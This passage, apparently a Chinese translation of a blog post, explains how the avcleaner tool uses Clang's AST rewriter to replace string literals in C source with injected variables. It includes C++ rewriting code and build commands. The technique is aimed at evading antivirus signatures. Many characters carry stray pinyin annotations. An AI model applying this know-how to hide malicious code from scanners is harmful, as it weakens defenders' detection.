pContext->getSourceManager(), pContext->getLangOpts());
// weird bug with TEXT Macro / other macros...there must be a proper way to do this.
if (OrigText.find("TEXT") != std::string::npos) {
ASTRewriter->RemoveText(LiteralRange);
LiteralRange.setEnd(ASTRewriter->getSourceMgr().getFileLoc(pLiteral->getEndLoc().getLocWithOffset(-1)));
}
}
return ASTRewriter->ReplaceText(LiteralRange, Replacement);
}
通常情況下,應(yīng)該使用ReplaceText API實(shí)現(xiàn)替換文本,但是實(shí)際上遇到了很多錯(cuò)誤。 當(dāng)涉及到宏時(shí),由于Clang的API行為不一致,因此事情會(huì)變得非常復(fù)雜。 例如,如果取消選中isMacroBodyExpansion(),最終將替換“ TEXT”而不是其參數(shù)。
例如,在LoadLibrary(TEXT("ntdll"))中,實(shí)際結(jié)果會(huì)變成LoadLibrary(your_variable("ntdll")),這明顯是錯(cuò)誤的。
原因是TEXT是一個(gè)宏,當(dāng)由Clang的預(yù)處理器處理時(shí),會(huì)將其替換為L(zhǎng)"ntdll"。 我們的轉(zhuǎn)換過(guò)程是在預(yù)處理器完成工作之后發(fā)生的,因此查詢標(biāo)記”ntdll”的開始和結(jié)束位置將產(chǎn)生幾個(gè)字符的額外值,這對(duì)我們沒有用處。 不幸的是,使用Clang的API來(lái)查詢?cè)挤g單元中的實(shí)際位置是一種魔咒,只能通過(guò)不斷試錯(cuò)來(lái)進(jìn)行。
在最近的空白位置插入變量聲明
現(xiàn)在我們可以用變量標(biāo)識(shí)符替換字符串了,我們的目標(biāo)是定義該變量并為它分配給原始字符串的值。 簡(jiǎn)單的說(shuō),我們希望打補(bǔ)丁后的源代碼包含char your_variable[] = "ntdll",同時(shí)不覆蓋任何內(nèi)容。
可能有兩種情況:
字符串文字位于函數(shù)體內(nèi)。字符串文字位于函數(shù)主體外部。
后者是最直接的方法,因?yàn)橹恍枰檎沂褂米址谋磉_(dá)式的開頭即可。
對(duì)于前者,我們需要找到封閉函數(shù)。 Clang公開了一個(gè)API來(lái)查詢函數(shù)體的起始位置。 這是插入變量聲明的理想位置,因?yàn)樵撟兞繉⒃谡麄€(gè)函數(shù)中可見,并且我們插入的標(biāo)記不會(huì)覆蓋內(nèi)容。
在任何情況下,這兩種情況都可以通過(guò)訪問(wèn)每一個(gè)父節(jié)點(diǎn)來(lái)解決,直到找到一個(gè)FunctionDecl或VarDecl類型的節(jié)點(diǎn)為止:
MatchHandler::findInjectionSpot(clang::ASTContext *const Context, clang::ast_type_traits::DynTypedNode Parent,
const clang::StringLiteral &Literal, bool IsGlobal, uint64_t Iterations) {
if (Iterations > CLIMB_PARENTS_MAX_ITER)
throw std::runtime_error("Reached max iterations when trying to find a function declaration");
ASTContext::DynTypedNodeList parents = Context->getParents(Literal);;
if (Iterations > 0) {
parents = Context->getParents(Parent);
}
for (const auto &parent : parents) {
StringRef ParentNodeKind = parent.getNodeKind().asStringRef();
if (ParentNodeKind.find("FunctionDecl") != std::string::npos) {
auto FunDecl = parent.get<clang::FunctionDecl>();
auto *Statement = FunDecl->getBody();
auto *FirstChild = *Statement->child_begin();
return {FirstChild->getBeginLoc(), FunDecl->getEndLoc()};
} else if (ParentNodeKind.find("VarDecl") != std::string::npos) {
if (IsGlobal) {
return parent.get<clang::VarDecl>()->getSourceRange();
}
}
return findInjectionSpot(Context, parent, Literal, IsGlobal, ++Iterations);
}
}
測(cè)試
git clone https://github.com/SCRT/avcleaner
mkdir avcleaner/CMakeBuild && cd avcleaner/CMakeBuild
cmake ..
make
cd ..
bash run_example.sh test/string_simplest.c

如您所見,這很好用。 現(xiàn)在,此示例非常簡(jiǎn)單,可以使用正則表達(dá)式解決,并減少代碼行數(shù)。